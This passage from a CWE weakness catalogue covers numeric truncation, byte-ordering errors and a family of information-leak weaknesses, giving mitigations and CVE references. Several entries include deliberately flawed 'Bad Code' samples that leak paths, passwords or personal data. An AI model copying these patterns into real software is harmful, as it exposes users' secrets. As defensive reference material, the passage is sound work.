Languages

- C
- C++
- Java
- .NET

Common Consequences

Integrity

The true value of the data is lost and corrupted data is used.

Likelihood of Exploit

Low

Demonstrative Examples

This example, while not exploitable, shows the possible mangling of values associated with truncation errors:

```
#include <stdio.h>
int main() {
  int intPrimitive;
  short shortPrimitive;
  intPrimitive = (int)(~((int)0) ^ (1 << (sizeof(int)*8-1)));
  shortPrimitive = intPrimitive;
  printf("Int MAXINT: %d\nShort MAXINT: %d\n",
  intPrimitive, shortPrimitive);
  return (0);
}
```

The above code, when compiled and run, returns the following output: Int MAXINT: 2147483647 Short MAXINT: -1 A frequent paradigm for such a problem being exploitable is when the truncated value is used as an array index, which can happen implicitly when 64-bit values are used as indexes, as they are truncated to 32 bits.

Potential Mitigations

Implementation

Ensure that no casts, implicit or explicit, take place that move from a larger size primitive or a smaller size primitive.

Other Notes

When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.

Relationships

Nature	Type	ID	Name	V	Page
CanAlsoBe		192	Integer Coercion Error	1000	221
CanAlsoBe		194	Unexpected Sign Extension	1000	224
CanAlsoBe		195	Signed to Unsigned Conversion Error	1000	226
CanAlsoBe		196	Unsigned to Signed Conversion Error	1000	227
ChildOf		681	Incorrect Conversion between Numeric Types	**699** **1000**	673
ChildOf		738	CERT C Secure Coding Section 04 - Integers (INT)	**734**	726

Research Gaps

Under-studied and under-reported.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Numeric truncation error
CLASP		Truncation error
CERT C Secure Coding	INT02-C	Understand integer conversion rules
CERT C Secure Coding	INT05-C	Do not use input functions to convert character data if they cannot handle all possible inputs
CERT C Secure Coding	INT31-C	Ensure that integer conversions do not result in lost or misinterpreted data

CWE-198: Use of Incorrect Byte Ordering

Weakness ID: 198 *(Weakness Base)* **Status:** Draft

Description

Summary

The software mixes up the order in which bytes are processed (e.g. big-endian and little-endian), causing a wrong number to be used in a security-critical context.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Detection Factors

Black Box

Because byte ordering bugs are usually very noticeable even with normal inputs, this bug is more likely to occur in rarely triggered error conditions, making them difficult to detect using black box methods.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	188	Reliance on Data/Memory Layout	**1000**	216
ChildOf	Category	189	Numeric Errors	**699**	217

Research Gaps

Under-reported.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Numeric Byte Ordering Error

CWE-199: Information Management Errors

Category ID: 199 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of sensitive information.

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Category	19	Data Handling	**699**	14
ParentOf	Weakness	*200*	*Information Leak (Information Disclosure)*	***699***	*230*
ParentOf	Weakness	*216*	*Containment Errors (Container Errors)*	***699***	*246*
ParentOf	Weakness	*221*	*Information Loss or Omission*	***699***	*250*

CWE-200: Information Leak (Information Disclosure)

Weakness ID: 200 *(Weakness Class)* **Status:** Incomplete

Description

Summary

An information leak is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information.

Extended Description

The information either

(1) is regarded as sensitive within the product's own functionality, such as a private message; or

(2) provides information about the product or its environment that could be useful in an attack but is normally not available to the attacker, such as the installation path of a product that is remotely accessible.

Many information leaks are resultant (e.g. path disclosure in PHP script error), but they can also be primary (e.g. timing discrepancies in crypto). There are many different types of problems that

involve information leaks. Their severity can range widely depending on the type of information that is leaked.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Likelihood of Exploit

High

Potential Mitigations

Compartmentalize your system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	199	Information Management Errors	**699**	230
ChildOf	WC	668	Exposure of Resource to Wrong Sphere	**1000**	658
ChildOf	C	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	**629**	714
ParentOf	WV	*201*	*Information Leak Through Sent Data*	***699 1000***	*232*
ParentOf	WV	*202*	*Privacy Leak through Data Queries*	***699***	*233*
ParentOf	WC	*203*	*Discrepancy Information Leaks*	***699 1000***	*233*
ParentOf	WE	*209*	*Error Message Information Leak*	***699 1000***	*238*
ParentOf	WE	*212*	*Cross-boundary Cleansing Information Leak*	***699 1000***	*243*
ParentOf	WE	*213*	*Intended Information Leak*	***699 1000***	*243*
ParentOf	WV	*214*	*Process Environment Information Leak*	***699 1000***	*244*
ParentOf	WV	*215*	*Information Leak Through Debug Information*	***699 1000***	*245*
ParentOf	WE	*226*	*Sensitive Information Uncleared Before Release*	***699*** *1000*	*252*
ParentOf	WC	*359*	*Privacy Violation*	***1000***	*380*
ParentOf	WV	*497*	*Information Leak of System Data*	***699 1000***	*521*
CanFollow	WV	*498*	*Information Leak through Class Cloning*	*699 1000*	*522*
CanFollow	WV	*499*	*Serializable Class Containing Sensitive Data*	*699 1000*	*524*
ParentOf	WV	*524*	*Information Leak Through Caching*	***699 1000***	*539*
ParentOf	WV	*526*	*Information Leak Through Environmental Variables*	***699 1000***	*540*
ParentOf	WE	*538*	*File and Directory Information Leaks*	***699 1000***	*546*
ParentOf	WV	*598*	*Information Leak Through Query Strings in GET Request*	***699 1000***	*587*
ParentOf	WV	*612*	*Information Leak Through Indexing of Private Data*	***699 1000***	*599*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Information Leak (information disclosure)
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
13	Subverting Environment Variable Values	
22	Exploiting Trust in Client (aka Make the Client Invisible)	
59	Session Credential Falsification through Prediction	
60	Reusing Session IDs (aka Session Replay)	
79	Using Slashes in Alternate Encoding	

CWE-201: Information Leak Through Sent Data

Weakness ID: 201 *(Weakness Variant)* **Status:** Draft

Description

Summary

The accidental leaking of sensitive information through sent data refers to the transmission of data which are either sensitive in and of itself or useful in the further exploitation of the system through standard data channels.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Data leakage results in the compromise of data confidentiality.

Demonstrative Examples

The following is an actual mysql error statement:

SQL Example: *Result*

Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4

Potential Mitigations

Requirements specification: Specify data output such that no sensitive data is sent.

Implementation

Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere.

Compartmentalize your system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Setup default error message to handle unexpected errors.

Other Notes

Accidental data leakage occurs in several places and can essentially be defined as unnecessary data leakage. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	200	Information Leak (Information Disclosure)	**699 1000**	230
CanAlsoBe	Wv	202	Privacy Leak through Data Queries	1000	233
CanAlsoBe	We	209	Error Message Information Leak	1000	238

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Accidental leaking of sensitive information through sent data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 1.2)
12	Choosing a Message/Channel Identifier on a Public/Multicast Channel	

CWE-202: Privacy Leak through Data Queries

Weakness ID: 202 *(Weakness Variant)* **Status:** Draft

Description

Summary

When trying to keep information confidential, an attacker can often infer some of the information by using statistics.

Extended Description

In situations where data should not be tied to individual users, but a large number of users should be able to make queries that "scrub" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Sensitive information may possibly be leaked through data queries accidentally.

Likelihood of Exploit

Medium

Demonstrative Examples

See the book Translucent Databases for examples.

Potential Mitigations

This is a complex topic. See the book Translucent Databases for a good discussion of best practices.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	200	Information Leak (Information Disclosure)	**699**	230
ChildOf	Weakness	359	Privacy Violation	**1000**	380
CanAlsoBe	Weakness	*201*	*Information Leak Through Sent Data*	*1000*	*232*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Accidental leaking of sensitive information through data queries

CWE-203: Discrepancy Information Leaks

Weakness ID: 203 *(Weakness Class)* **Status:** Incomplete

Description

Summary

A discrepancy information leak is an information leak in which the product behaves differently, or sends different responses, in a way that reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.

Time of Introduction

- Architecture and Design

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Compartmentalize your system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Setup generic response for error condition. The error page should not disclose information about the success or failure of a sensitive operation. For instance, the login page should not confirm that the login is correct and the password incorrect. The attacker who tries random account name may be able to guess some of them. Confirming that the account exists would make the login page more susceptible to brute force attack.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	200	Information Leak (Information Disclosure)	**699 1000**	230
ChildOf	C	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	**629**	714
ChildOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	**711**	719
ParentOf	W	*204*	*Response Discrepancy Information Leak*	***699 1000***	*234*
ParentOf	W	*205*	*Behavioral Discrepancy Information Leak*	***699 1000***	*235*
ParentOf	W	*208*	*Timing Discrepancy Information Leak*	***699 1000***	*237*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Discrepancy Information Leaks
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

CWE-204: Response Discrepancy Information Leak

Weakness ID: 204 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software provides different responses to incoming requests in a way that allows an actor to determine system state information that is outside of that actor's control sphere.

Extended Description

This issue frequently occurs during authentication, where a difference in failed-login messages could allow an attacker to determine if the username is valid or not. These leaks can be inadvertent (bug) or intentional (design).

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-1387	
CVE-2001-1483	User enumeration by infoleak from inconsistent responses.

Reference	Description
CVE-2001-1528	Account number enumeration via inconsistent response infoleak.
CVE-2002-0514	
CVE-2002-0515	
CVE-2002-2094	This, and others, use ".." attacks and monitor error responses, so there is overlap with directory traversal.
CVE-2004-0243	
CVE-2004-0294	
CVE-2004-0778	
CVE-2004-1428	
CVE-2004-2150	User enumeration via error message discrepancy infoleak.
CVE-2005-1650	Infoleak by inconsistent responses.

Potential Mitigations

Architecture and Design

Compartmentalize your system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Architecture and Design

Setup generic response for error conditions. The error page should not disclose information about the success or failure of a sensitive operation. For instance, the login page should not confirm that the login is correct and the password incorrect. The attacker who tries random account name may be able to guess some of them. Confirming that the account exists would make the login page more susceptible to brute force attack.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	203	Discrepancy Information Leaks	**699** **1000**	233

Relationship Notes

can overlap errors related to escalated privileges

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Response discrepancy infoleak

CWE-205: Behavioral Discrepancy Information Leak

Weakness ID: 205 *(Weakness Base)* **Status:** Incomplete

Description

Summary

A behavioral discrepancy information leak occurs when the product's actions indicate important differences based on (1) the internal state of the product or (2) differences from other products in the same class.

Extended Description

For example, attacks such as OS fingerprinting rely heavily on both behavioral and response discrepancies.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Compartmentalize your system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	203	Discrepancy Information Leaks	**699 1000**	233
ParentOf	Ww	*206*	*Internal Behavioral Inconsistency Information Leak*	***699 1000***	*236*
ParentOf	Ww	*207*	*External Behavioral Inconsistency Information Leak*	***699 1000***	*237*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Behavioral Discrepancy Infoleak

CWE-206: Internal Behavioral Inconsistency Information Leak

Weakness ID: 206 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Two separate operations in a product cause the product to behave differently in a way that is observable to an attacker and reveals security-relevant information about the internal state of the product, such as whether a particular operation was successful or not.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-1497	Behavioral infoleak in GUI allows attackers to distinguish between alphanumeric and non-alphanumeric characters in a password, thus reducing the search space.
CVE-2002-2031	File existence via infoleak monitoring whether "onerror" handler fires or not.
CVE-2003-0190	Product immediately sends an error message when user does not exist instead of waiting until the password is provided, allowing username enumeration.
CVE-2005-2025	Valid groupname enumeration via behavioral infoleak (sends response if valid, doesn't respond if not).

Potential Mitigations

Compartmentalize your system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Setup generic response pages for error condition. The error page should not disclose information about the success or failure of a sensitive operation. For instance, the login page should not confirm that the login is correct and the password incorrect. The attacker who tries random account name may be able to guess some of them. Confirming that the account exists would make the login page more susceptible to brute force attack.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wb	205	Behavioral Discrepancy Information Leak	**699 1000**	235

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Internal behavioral inconsistency infoleak

CWE-207: External Behavioral Inconsistency Information Leak

Weakness ID: 207 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software behaves differently than other products like it, in a way that is observable to an attacker and reveals security-relevant information about which product is being used, or its operating state.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-1142	Honeypot generates an error with a "pwd" command in a particular directory, allowing attacker to know they are in a honeypot system.
CVE-2002-0208	Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use.
CVE-2004-2252	Behavioral infoleak by responding to SYN-FIN packets.

Potential Mitigations

Compartmentalize your system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Setup generic response pages for error condition. The error page should not disclose information about the success or failure of a sensitive operation. For instance, the login page should not confirm that the login is correct and the password incorrect. The attacker who tries random account name may be able to guess some of them. Confirming that the account exists would make the login page more susceptible to brute force attack.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Base	205	Behavioral Discrepancy Information Leak	**699** **1000**	235

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	External behavioral inconsistency infoleak

CWE-208: Timing Discrepancy Information Leak

Weakness ID: 208 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-1117	
CVE-2003-0078	
CVE-2003-0190	
CVE-2003-0637	
CVE-2004-1602	
CVE-2005-0918	

Other Notes

Attack: Timing attack

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	203	Discrepancy Information Leaks	**699** **1000**	233
CanAlsoBe		310	Cryptographic Issues	1000	335

Relationship Notes

Often primary in cryptographic applications and algorithms.

Functional Areas

- Cryptography, authentication

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Timing discrepancy infoleak

CWE-209: Error Message Information Leak

Weakness ID: 209 *(Weakness Base)* **Status:** Draft

Description

Summary

The software generates an error message that includes sensitive information about its environment, users, or associated data.

Extended Description

The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more deadly attacks. If an attack fails, an attacker may use error information provided by the server to launch another more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of ".." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.

Time of Introduction

- Architecture and Design
- Implementation
- System Configuration

Applicable Platforms

Languages

- PHP *(Often)*
- All

Common Consequences

Confidentiality

Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

In the following example, you are passing much more data than is needed.

Java Example: *Bad Code*

```
try {
  /.../
}
catch (Exception e) {
  System.out.println(e);
}
```

Another example is passing the SQL exceptions to a WebUser without filtering.

Example 2:

The following code generates an error message that leaks the full pathname of the configuration file.

Perl Example: *Bad Code*

```
$ConfigDir = "/home/myprog/config";
$uname = GetUserInput("username");
# avoid CWE-22, CWE-78, others.
ExitError("Bad hacker!") if ($uname !~ /^\w+$/);
$file = "$ConfigDir/$uname.txt";
if (! (-e $file)) {
  ExitError("Error: $file does not exist");
}
...
```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.

Observed Examples

Reference	Description
CVE-2007-1409	Direct request to library file in web application triggers pathname leak in error message.
CVE-2007-5172	Program reveals password in error message if attacker can trigger certain database errors.
CVE-2008-1579	Existence of user names can be determined by requesting a nonexistent blog and reading the error message.
CVE-2008-2049	POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.
CVE-2008-3060	Malformed input to login page causes leak of full path when IMAP call fails.
CVE-2008-4638	Composite: application running with high privileges allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file.

Potential Mitigations

Implementation

Ensure that error messages only contain minimal information that are useful to their intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can help an attacker craft another attack that now will pass through the validation filters.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.

Build and Compilation

Debugging information should not make its way into a production release.

Testing

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Testing

Stress-test the software by calling it simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

System Configuration

Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.

System Configuration

Create default error pages or messages that do not leak any information.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	200	Information Leak (Information Disclosure)	**699 1000**	230
ChildOf	C	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	**629**	714
ChildOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	**711**	719
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	720
ChildOf	C	751	Insecure Interaction Between Components	**750**	733
ChildOf	Wc	755	Improper Handling of Exceptional Conditions	1000	734
CanAlsoBe	Wv	*81*	*Improper Sanitization of Script in an Error Message Web Page*	*1000*	*91*
CanAlsoBe	Wv	*201*	*Information Leak Through Sent Data*	*1000*	*232*
ParentOf	Wb	*210*	*Product-Generated Error Message Information Leak*	***699 1000***	*241*
ParentOf	Wb	*211*	*Product-External Error Message Information Leak*	***699 1000***	*241*
CanFollow	Wb	*600*	*Failure to Catch All Exceptions in Servlet*	*1000*	*588*
CanFollow	Wc	*756*	*Missing Custom Error Page*	*1000*	*734*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Accidental leaking of sensitive information through error messages
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
7	Blind SQL Injection
54	Probing an Application Through Targeting its Error Reporting

CWE-210: Product-Generated Error Message Information Leak

Weakness ID: 210 *(Weakness Base)* **Status:** Draft

Description

Summary

The software identifies an error condition and creates its own diagnostic or error messages that contain sensitive information.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2005-1745	Infoleak of sensitive information in error message (physical access required).

Potential Mitigations

Implementation

Any error should be parsed for dangerous revelations.

Build: Debugging information should not make its way into a production release.

Handle exceptions internally and do not display errors containing potentially sensitive information to a user. Create default error pages if necessary.

Other Notes

Attack: trigger error, monitor responses.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	209	Error Message Information Leak	**699 1000**	238
ParentOf	We	*535*	*Information Leak Through Shell Error Message*	***699 1000***	*545*
ParentOf	We	*536*	*Information Leak Through Servlet Runtime Error Message*	***699 1000***	*545*
ParentOf	We	*537*	*Information Leak Through Java Runtime Error Message*	***699 1000***	*546*
ParentOf	We	*550*	*Information Leak Through Server Error Message*	***699 1000***	*554*

Functional Areas

- Non-specific

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Product-Generated Error Message Infoleak

CWE-211: Product-External Error Message Information Leak

Weakness ID: 211 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software performs an operation that triggers an external diagnostic or error message that is not directly generated by the software, such as an error generated by the programming language interpreter that the software uses. The error can contain sensitive system information.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- PHP *(Often)*
- All

Enabling Factors for Exploitation

PHP applications are often targeted for having this issue when the PHP interpreter generates the error outside of the application's control. However, it's not just restricted to PHP, as other languages/environments exhibit the same issue.

Observed Examples

Reference	Description
CVE-2004-1101	Failure to handle filename request with trailing "/" causes multiple consequences, including information leak in Visual Basic error message.
CVE-2004-1579	Single "'" inserted into SQL query leads to invalid SQL query execution, triggering full path disclosure. Possibly resultant from more general SQL injection issue.
CVE-2004-1581	chain: product does not protect against direct request of an include file, leading to resultant path disclosure when the include file does not successfully execute.
CVE-2005-0433	Various invalid requests lead to information leak in verbose error messages describing the failure to instantiate a class, open a configuration file, or execute an undefined function.
CVE-2005-0443	invalid parameter triggers a failure to find an include file, leading to infoleak in error message.
CVE-2005-0459	chain: product does not protect against direct request of a library file, leading to resultant path disclosure when the file does not successfully execute.

Potential Mitigations

System Configuration

Configure the application's environment in a way that prevents errors from being generated. For example, in PHP, disable display_errors.

Build and Compilation

Debugging information should not make its way into a production release.

Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user. Create default error pages if necessary.

Implementation

The best way to prevent this weakness during implementation is to avoid any bugs that could trigger the external error message. This typically happens when the program encounters fatal errors, such as a divide-by-zero. You will not always be able to control the use of error pages, and you might not be using a language that handles exceptions.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	209	Error Message Information Leak	**699 1000**	238
CanAlsoBe	Wa	*550*	*Information Leak Through Server Error Message*	*1000*	*554*

Relationship Notes

This is inherently a resultant vulnerability from a weakness within the product or an interaction error.

Functional Areas

- Error handling

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Product-External Error Message Infoleak

CWE-212: Cross-boundary Cleansing Information Leak

Weakness ID: 212 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not properly remove sensitive data from a source when preparing it for, or transferring it to, an untrusted destination.

Extended Description

An example of a cross-boundary cleansing information leak would be if an internal IP address might be discovered. This discloses information about the IP addressing scheme of the internal network and can be valuable to attackers.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0704	NAT feature in firewall leaks internal IP addresses in ICMP error messages.
CVE-2005-0406	Some image editors modify a JPEG image, but the original EXIF thumbnail image intact within the JPEG. (Also an interaction error).

Potential Mitigations

Compartmentalize your system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Other Notes

This entry is intended to be different from resultant information leaks, including those that occur from improper buffer initialization and reuse, interaction errors, and multiple interpretation errors. This entry could be regarded as a privacy leak. Some examples include features that export or copy documents without removing sensitive information such as edit history in a Word and PDF.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	200	Information Leak (Information Disclosure)	**699** **1000**	230
CanAlsoBe	We	*226*	*Sensitive Information Uncleared Before Release*	*1000*	*252*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Cross-Boundary Cleansing Infoleak

CWE-213: Intended Information Leak

Weakness ID: 213 *(Weakness Base)* **Status:** Draft

Description

Summary

A product's design or configuration explicitly requires the publication of information that could be regarded as sensitive by an administrator.

Time of Introduction

- Architecture and Design
- Implementation

- Operation

Applicable Platforms

Languages

- All

Demonstrative Examples

The JSP code listed below displays a user's credit card and social security numbers in a browser window (even though they aren't absolutely necessary).

JSP Example: *Bad Code*

```
Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>
```

Observed Examples

Reference	Description
CVE-2002-1725	Script calls phpinfo()
CVE-2003-1038	Product lists DLLs and full pathnames.
CVE-2003-1181	Script calls phpinfo()
CVE-2004-0033	Script calls phpinfo()
CVE-2004-1422	Script calls phpinfo()
CVE-2004-1590	Script calls phpinfo()
CVE-2005-0488	Telnet protocol allows servers to obtain sensitive environment information from clients.
CVE-2005-1205	Telnet protocol allows servers to obtain sensitive environment information from clients.

Potential Mitigations

Compartmentalize your system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Consider what information might be regarded as sensitive by your product's users, even if it is not important for the safe operation of your system.

Other Notes

This overlaps other categories, but it is distinct from the error message infoleaks.

It's not always clear whether an infoleak is intentional or not. For example, CVE-2005-3261 identifies a PHP script that lists file versions, but it could be that the developer did not intend for this information to be public, but introduced a direct request issue instead.

In vulnerability theory terms, this covers cases in which the developer's Intended Policy allows the information to be made available, but the information might be in violation of a Universal Policy in which the product's administrator should have control over which

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	200	Information Leak (Information Disclosure)	**699** **1000**	230

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Intended information leak

CWE-214: Process Environment Information Leak

Weakness ID: 214 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A process is invoked with sensitive arguments, environment variables, or other elements that can be seen by other processes on the operating system.

Extended Description

Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Demonstrative Examples

In the Java example below, the password for a keystore file is read from a system property. If the property is defined on the command line when the program is invoked (using the -D... syntax), the password may be displayed in the OS process list.

Java Example: *Bad Code*

```
String keystorePass = System.getProperty("javax.net.ssl.keyStorePassword");
if (keystorePass == null) {
  System.err.println("ERROR: Keystore password not specified.");
  System.exit(-1);
}
...
```

Observed Examples

Reference	Description
CVE-1999-1270	PGP passphrase provided as command line argument.
CVE-2001-1565	username/password on command line allows local users to view via "ps" or other process listing programs
CVE-2004-1058	Kernel race condition allows reading of environment variables of a process that is still spawning.
CVE-2004-1948	Username/password on command line allows local users to view via "ps" or other process listing programs.
CVE-2005-1387	password passed on command line
CVE-2005-2291	password passed on command line

Potential Mitigations

Compartmentalize your system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Other Notes

This can be an externally controlled infoleak, but some protection mechanisms may exist that could make it internally controlled.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	200	Information Leak (Information Disclosure)	**699 1000**	230
ChildOf	P	634	Weaknesses that Affect System Processes	**631**	616

Research Gaps

Under-studied, especially environment variables.

Affected Resources

- System Process

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Process information infoleak to other processes

CWE-215: Information Leak Through Debug Information

Weakness ID: 215 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application contains debugging code that can leak sensitive information to untrusted parties.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Demonstrative Examples

